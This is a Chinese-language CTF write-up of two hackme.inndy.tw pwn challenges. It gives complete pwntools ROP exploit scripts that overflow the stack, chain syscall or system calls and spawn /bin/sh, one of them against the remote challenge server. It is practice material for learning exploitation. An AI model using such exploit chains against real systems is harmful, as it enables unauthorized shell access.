pwn——rop练习

hackme——ROP2

这道题用了一个比较新的方法,去寻找栈溢出的点,他用了syscall调用的相关函数,其中参数的第一位代表序号既调用的哪一个函数,我们称为syscall table调用号,这里4是write 3是read
pwn——rop练习_第1张图片
这里我们用到了 locate unistd_32pwn——rop练习_第2张图片
这里有大佬的文章
https://blog.csdn.net/mydo/article/details/44997901
然后随便找一个,cat一下里面的内容就好了
pwn——rop练习_第3张图片
之后常规套路溢出,注意参数填充就好
exp

from pwn import *
#context(os='linux',arch='amd64',log_level='debug')
#p=process("./pwn19")
#cs=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
p=remote("hackme.inndy.tw",7703)
elf=ELF("./pwn19")
sys=elf.plt['syscall']
ppp=0x08048578
print hex(sys)
payload="a"*16						#溢出的地方
payload+=p32(sys)+p32(ppp)+p32(3)+p32(0)+p32(0x0804A023)+p32(8)		#先是跳到syscall的地址然后分别传参8、0x0804a023、0、3,最后ppp是用来pop+return实现往bss段里面写地址

#gdb.attach(p)
payload+=p32(sys)+p32(0xdeadbeef)+p32(11)+p32(0x0804A023)+p32(0)+p32(0)		#然后继续跳到syscall 这里调用了execve,但要注意execve参数的位置跟上面不一样不要弄错了,最后deadbeef这里我gdb动调发现应该是让系统能正常执行execve('\bin\sh')
p.sendline(payload)
sleep(1)
p.sendline("/bin/sh\x00")				#注意最后的结束符

p.interactive()

hackme——toooomuch-2

32位rop,需要自己写一下shellcode,程序很简单,put函数是溢出点,然后在利用put函数,将’/bin/sh\x00’写到bss上去,再访问system时将bss中的shellcode作为参数写到sys中去
pwn——rop练习_第4张图片
exp

from pwn import *

#context(os='linux',arch='amd64',log_level='debug')

p=process("./pwn20")

#cs=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

#p=remote("hackme.inndy.tw",7702)

#elf=ELF("./pwn20")



flag=0x080484C0

get=0x08048480

bss=0x08049C60

pop=0x08048455

start=0x080487D9

gdb.attach(p,"b *0x080484c0")

p.recvuntil("passcode: ")

p.sendline("a"*0x1c+p32(get)+p32(pop)+p32(bss)+p32(flag)+p32(0xdeadbeef)+p32(bss))		

sleep(1)

p.sendline("/bin/sh\x00")

p.interactive()

这道题主要学到了在put shellcode的时候需要先将寄存器存取的值pop出来,然后才会读取,还有system访问的时候,中间要加一个p32,不过这里作者还是不太懂得原因。

emmmmmmm因为之前有一道攻防世界64位的wp丢了,所以这里直接挂一下好友大佬的wp很详细,理解一下每一个寄存器的作用,rdi传参,rsi传参数个数

https://blog.csdn.net/weixin_42151611/article/details/91474574

你可能感兴趣的:(pwn)